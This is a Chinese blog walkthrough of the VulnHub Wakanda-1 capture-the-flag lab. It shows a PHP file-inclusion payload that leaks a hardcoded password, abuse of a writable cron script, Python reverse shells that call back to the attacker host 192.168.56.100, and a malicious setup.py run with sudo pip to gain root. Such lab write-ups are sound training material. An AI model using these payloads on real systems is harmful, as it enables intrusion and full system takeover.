渗透笔记之Wakanda-1

背景

Wakanda-1是来自VulnHub的渗透测试靶机, 下载地址为https://www.vulnhub.com/entry/wakanda-1,251/#download ,下载下来的是一个OVA格式的虚拟机,可在VMware或VirtualBox中打开。虚拟机已设置DHCP,可自动获取IP。渗透目标是获取三个flag( flag1.txt, flag2.txt, root.txt )。

本文较为完整地记录了我对其进行渗透的全过程,包括信息收集、Web漏洞利用和提权等。开始时间为2018年12月26日,完成时间为2019年5月11日。之所以花了这么久,不是因为它难度很大,而是因为中途耽搁了很久,真正花费的时间大概是几十个小时。

准备环境

首先下载靶机镜像,得到文件wakanda-1.ova,大小为637M。然后在VirtualBox中打开它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为仅主机网络。在同一虚拟网络中还有一台IP地址是192.168.56.100的Kali Linux(以下简称Kali)作为攻击者。

在Kali中用nmap扫描192.168.56.0/24网段,发现在线IP地址192.168.56.101,在浏览器中访问该IP地址,看到如下图所示的界面,说明环境搭建成功。

振金市场官网首页
振金市场官网首页

前期信息收集

端口扫描

使用Nmap进行端口扫描,命令如下。

nmap –sV –Pn –n -O 192.168.56.101
nmap –sU –sV –n 192.168.56.101

得到目标操作系统为:

Linux Kernel 3.16 on Debian 8.0 (jessie)(Nessus)

端口扫描结果如下表所示。

协议端口状态服务
TCP 80开放 Apache httpd 2.4.10 (Debian)
TCP 111 开放 Rpcbind 2-4
TCP 3333 开放 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
UDP 68 开放或过滤 dhcpc
UDP 111 开放 Rpcbind 2-4

看到80端口运行着HTTP服务,3333端口运行着SSH服务。

Web信息收集

浏览器扩展Wappalyzer未报告有用信息。

访问http://192.168.56.101/index.html返回404,访问
访问http://192.168.56.101/index.php返回正常页面,说明Web服务使用的脚本语言为php。

观察页面信息,看到下方写着“Made by@mamadou”,获取到一个可能的用户名mamadou。

查看网页源码,看到被注释的一行代码,如下所示。

<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->

访问http://192.168.56.101/index.php?lang=fr返回正常页面,只是页面中有一段英语变为法语。

对Web服务进行路径爆破,结果如下表所示。

路径 状态码 内容 工具
/index.php 200 正常,英文 DirBuster
/index.php?lang=fr 200 正常,法文 查看网页源码
/fr.php 200 DirBuster
/backup 200 nmap vuln脚本
/admin 200 DirBuster
/secret 200 DirBuster
/shell 200 DirBuster
/icons/ 403 Forbidden DirBuster
/icons/README 200 正常 Nikto
/icons/small/ 403 Forbidden DirBuster
/icons/small/text.gif等图标 200 DirBuster
/.ht 403 Forbidden 手工测试
/.htaccess 403 Forbidden 手工测试
/server-status 403 Forbidden dirb

SSH用户枚举

使用Metasploit的scanner/ssh/ssh_enumusers枚举到SSH用户root和mamadou。

漏洞利用

看到“/index.php?lang=fr”且存在文件fr.php故推测存在文件包含漏洞,访问
http://192.168.56.101/index.php?lang=index 返回结果为500,lang等于其他值时返回结果正常。这说明是取lang参数的值并拼接“.php”后包含文件。使用php的filter协议转换编码读取到index.php文件内容。

http://192.168.56.101/index.php?lang=php://filter/read=convert.base64-encode/resource=index

读取到的内容如下所示。

PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=

解码得到index.php源码,如下所示。

<?php

$password ="Niamey4Ever227!!!" ;//I have to remember it

 

if (isset($_GET['lang']))

{

include($_GET['lang'].".php");

}

 

?>

 

 

 

<!DOCTYPE html>

<html lang="en"><head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8">

    <meta charset="utf-8">

    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <meta name="description" content="Vibranium market">

    <meta name="author" content="mamadou">

 

    <title>Vibranium Market</title>

 

 

    <link href="bootstrap.css" rel="stylesheet">

 

   

    <link href="cover.css" rel="stylesheet">

  </head>

 

  <body class="text-center">

 

    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">

      <header class="masthead mb-auto">

        <div class="inner">

          <h3 class="masthead-brand">Vibranium Market</h3>

          <nav class="nav nav-masthead justify-content-center">

            <a class="nav-link active" href="#">Home</a>

            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->

          </nav>

        </div>

      </header>

 

      <main role="main" class="inner cover">

        <h1 class="cover-heading">Coming soon</h1>

        <p class="lead">

          <?php

            if (isset($_GET['lang']))

          {

          echo $message;

          }

          else

          {

            ?>

 

            Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!

            <?php

          }

?>

        </p>

        <p class="lead">

          <a href="#" class="btn btn-lg btn-secondary">Learn more</a>

        </p>

      </main>

 

      <footer class="mastfoot mt-auto">

        <div class="inner">

          <p>Made by<a href="#">@mamadou</a></p>

        </div>

      </footer>

    </div>

 

 

 

 

 

</body></html>

在源码注释中我们得到了一个密码“Niamey4Ever227!!!”。 尝试用此密码登录目标SSH服务,以root登录失败,以mamadou登录成功,注意SSH服务器端口不是默认的22,而是3333。但登录后直接进入了Python shell,如下图所示。

以mamadou登录目标
以mamadou登录目标

中期信息收集

在Python shell中执行以下命令以获得Bash shell。

import os
os.system("/bin/bash")
获得Bash shell
获得Bash shell

查看用户目录中文件,看到文件flag1.txt,获得到第一个flag,如下图所示。

拿到flag1
拿到flag1

查看内核版本:

mamadou@Wakanda1:/etc$ uname -r
3.16.0-6-amd64

是个较老的内容,3.16.0-6,64位的。

看看当前用户是否有sudo权限:

mamadou@Wakanda1:~$ sudo -l
[sudo] password for mamadou:
Sorry, user mamadou may not run sudo on Wakanda1.

发现没有sudo权限。

查看Web目录下文件:

mamadou@Wakanda1:/var/www/html$ ls -lh

total 4.5M

-rw-r--r-- 1 root root    0 Aug  1 16:50 admin
-rw-r--r-- 1 root root    0 Aug  1 16:50 backup
-rw-r--r-- 1 root root 4.4M Aug  1 14:26 bg.jpg
-rw-r--r-- 1 root root 138K Aug  1 14:07 bootstrap.css
-rw-r--r-- 1 root root 1.5K Aug  1 14:29 cover.css
-rw-r--r-- 1 root root  141 Aug  1 16:45 fr.php
-rw-r--r-- 1 root root    0 Aug  1 16:50 hahaha
-rw-r--r-- 1 root root    0 Aug  1 16:51 hohoho
-rw-r--r-- 1 root root 1.8K Aug  1 16:44 index.php
-rw-r--r-- 1 root root    0 Aug  1 16:50 secret
-rw-r--r-- 1 root root   40 Aug  1 16:51 secret.txt
-rw-r--r-- 1 root root    0 Aug  1 16:50 shell
-rw-r--r-- 1 root root    0 Aug  1 16:50 troll

原来admin、backup等文件原本就是空的。 secret.txt 是目录爆破中没能发现的文件。查看secret.txt的内容:

mamadou@Wakanda1:/var/www/html$ cat secret.txt
Congratulations!

Nope!I am joking....

看来只是个烟雾弹。

读取/etc/passed:

mamadou@Wakanda1:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
avahi-autoipd:x:107:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash

看到有一个名为devops的用户。查看该用户目录下文件:

mamadou@Wakanda1:~$ ls /home/devops
flag2.txt

找到了flag2.txt。尝试读取其内容:

mamadou@Wakanda1:~$ cat /home/devops/flag2.txt
cat: /home/devops/flag2.txt: Permission denied

但没有权限。

列出有SUID标志的文件:

mamadou@Wakanda1:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/at
/usr/bin/procmail
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/sbin/exim4
/bin/mount
/bin/su
/bin/umount
/sbin/mount.nfs

也没有什么可以利用的。

查看定时任务:

mamadou@Wakanda1:~$ crontab -l
no crontab for mamadou

没有定时任务。

权限提升

现在我们已经找到了flag1.txt,并成功读取了其中内容。也找到了flag2.txt,但由于没有权限未能读取到其中内容。最后一个flag在文件root.txt中,根据文件名推测应该是拿到root权限后才能找到或查看这个文件。所以现在需要提升权限。

以知内核版本为3.16.0-6-amd64,查阅资料可知这个版本Linux内核具有本地提取漏洞CVE-2015-1328,找到其攻击代码,上传至目标主机编译运行,但提权失败,原因不明。

也没有可以利用的设置了SUID标志的可执行文件。提权一时陷入困境。

后来发现/tmp目录中有一个名为test的文件,其所有者为devops,文件的修改时间很新,进一步观察发现每5分钟文件修改时间就会更新一次。这说明有一个定时任务在修改这个文件。尝试找出这个定时任务:

mamadou@Wakanda1:/$ grep -r '/tmp/test' * 2>/dev/null
Binary file proc/1284/task/1284/cmdline matches
Binary file proc/1284/cmdline matches
srv/.antivirus.py:open('/tmp/test','w').write('test')
usr/lib/python2.7/dist-packages/setuptools/tests/test_packageindex.py:        url = 'file:///tmp/test_package_index'
Binary file usr/lib/python2.7/dist-packages/setuptools/tests/test_packageindex.pyc matches

发现了文件/srv/.antivirus.py,其内容只有一行,便是将字符串“test”写到文件/tmp/test中。应该是有一个定时任务在以5分钟一次的频率执行/srv/.antivirus.py 。查看/srv/.antivirus.py的属性:

mamadou@Wakanda1:~$ ls -lh /srv/.antivirus.py
-rw-r--rw- 1 devops developer 219 Jan  4 10:45 /srv/.antivirus.py

看到 /srv/.antivirus.py 的所有者为devops,但其他组的用户也可以写这个文件。于是修改该文件内容为:

with open('/home/devops/flag2.txt', 'r') as f:
    open('/tmp/flag2.txt', 'w').write(f.read())

5分钟后,在临时目录中出现了文件flag2.txt,查看该文件内容:

mamadou@Wakanda1:~$ cat /tmp/flag2.txt
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098
拿到flag2

成功拿到flag2。

修改/srv/.antivirus.py内容为:

import os
open('/tmp/d.sh', 'w').write("/bin/bash")
os.system("chmod 7777 /tmp/d.sh")

5分钟后,在临时目录中出现了文件d.sh,查看其属性:

mamadou@Wakanda1:/tmp$ ls -lh d.sh
-rwsrwsrwt 1 devops  developer    9 Jan  2 20:25 d.sh

看到它被设置了SUID标志位。但运行d.sh发现并没有获得devops的权限,查阅资料后得知对bash脚本文件的SUID标志位是无效的。

于是修改/srv/.antivirus.py内容为:

import os
os.system("cp /bin/bash /tmp/dbash")
os.system("chmod 6775 /tmp/dbash")

5分钟后,在临时目录中出现了文件dbash,查看其属性:

mamadou@Wakanda1:~$ ls -lh /tmp/dbash
-rwsrwsr-x 1 devops developer 1006K Jan  3 09:01 /tmp/dbash

已经设置了SUID,然后执行它,注意一定要添加-p参数:

mamadou@Wakanda1:~$ /tmp/dbash -p
dbash-4.3$ whoami
devops
dbash-4.3$ id
uid=1000(mamadou) gid=1000(mamadou) euid=1001(devops) egid=1002(developer) groups=1002(developer),1000(mamadou)
dbash-4.3$

现在我们获得了devops权限。关于-p参数的作用,在man bash中找到这样的一段话:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are  read, shell  functions  are  not  inherited  from  the  environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id.  If the -p option is supplied at invocation, the startup behavior is the same, but the  effective user id is not reset.

查看devops是否有sudo权限:

dbash-4.3$ sudo -l
[sudo] password for mamadou:
Sorry, user mamadou may not run sudo on Wakanda1.

发现还是让输入mamdou的密码,查询结果也是mamadou没有sudo权限,并没有查到devops的sudo权限。这是因为uid还是1000(mamadou) 。

我们需要一个uid1001(devops)的shell,修改/srv/.antivirus.py为一个反弹shell,内容如下:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.100",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

在Kali上监听14575端口:

root@kali:~# nc -l -p 14575

几分钟后,获取到了一个反弹shell。

root@kali:~# nc -l -p 14575
/bin/sh: 0: can't access tty; job control turned off
$

在这个shell里查询devops的sudo权限,如下所示:

$ sudo -l
Matching Defaults entries for devops on Wakanda1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User devops may run the following commands on Wakanda1:
    (ALL) NOPASSWD: /usr/bin/pip

看到可以以root权限运行pip。现考虑用pip来获取root权限。多方查找,搜索到了一篇相关文章 《sudo pip install privesc》 。根据这篇文章,首先创建一个恶意的setup.py文件,内容为:

from setuptools import setup
from setuptools.command.install import install
import os,socket,subprocess


class CustomInstall(install):

    def run(self):
        install.run(self)
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("192.168.56.100",14580))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        p=subprocess.call(["/bin/sh","-i"])


setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/werneror',
      author='Werner',
      author_email='me@werner.wiki',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

其作用同样是创建一个反弹shell。先在Kali上监听14580端口:

root@kali:~# nc -l -p 14580

然后执行:

$ sudo pip install . --upgrade --force-reinstall

输出为:

$ sudo pip install . --upgrade --force-reinstall
Unpacking /tmp/pip2
  Running setup.py (path:/tmp/pip-CarpRr-build/setup.py) egg_info for package from file:///tmp/pip2

Installing collected packages: FakePip
  Found existing installation: FakePip 0.0.1
    Uninstalling FakePip:
      Successfully uninstalled FakePip
  Running setup.py install for FakePip

程序并没有运行完毕,在创建反弹连接处阻塞了。 在Kali上查看发现反弹连接成功连接,而且是root权限:

root@kali:~# nc -l -p 14580
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

在root目录中找到了最后一个flag:

# cd /root
# ls
root.txt
# cat root.txt
 _    _.--.____.--._
( )=.-":;:;:;;':;:;:;"-._
 \\\:;:;:;:;:;;:;::;:;:;:\
  \\\:;:;:;:;:;;:;:;:;:;:;\
   \\\:;::;:;:;:;:;::;:;:;:\
    \\\:;:;:;:;:;;:;::;:;:;:\
     \\\:;::;:;:;:;:;::;:;:;:\
      \\\;;:;:_:--:_:_:--:_;:;\
       \\\_.-"             "-._\
        \\
         \\
          \\
           \\ Wakanda 1 - by @xMagass
            \\
             \\


Congratulations You are Root!

821ae63dbe0c573eff8b69d451fb21bc
flag3
拿到flag3

总结

文件包含漏洞那一步是我看了答案才知道的。在信息收集的步骤中,我知道“/index.php?lang=fr”有值为fr的参数lang,也知道存在文件fr.php。但是却一点也没想到文件包含漏洞。反思其原因,一方面是因为我对文件包含漏洞很陌生,另一方面是因为我没有用php开发过网站,也缺乏阅读相关代码的经验。一直觉得后端代码是:

if lang eq fr then
    echo fr
else
    echo en
endif

所以更多考虑的是注入。做渗透真的是要清楚计算机世界的方方面面,浅尝辄止的了解是不够的。同时也需要经验。

在进行渗透的时候要非常有耐心,不断尝试各种可能的入侵方式,不断失败,仍不放弃。

10 Replies to “渗透笔记之Wakanda-1”

  1. 我看到了你的知乎???一小篇文章 发现狠有意思 也对 oscp产生了兴趣 会继续追你的blog慢慢学习的.

    1. 并不是。我本科专业就是信息安全,毕业后在甲方工作,工作内容也和安全相关。只是以前没真正学过渗透测试。

    1. man bash 可以看到以下说明:

      If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

      翻译一下是:

      如果启动shell时有效用户(组)id不等于真实用户(组)id,并且没有提供-p选项,则不读取启动文件,不从环境中继承shell函数,忽略环境中出现的SHELLOPTS、BASHOPTS、CDPATH和GLOBIGNORE变量,并将有效用户id设置为真实用户id。 如果在调用时提供了-p选项,启动行为是一样的,但有效的用户ID不会被重置。

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

1 × 3 =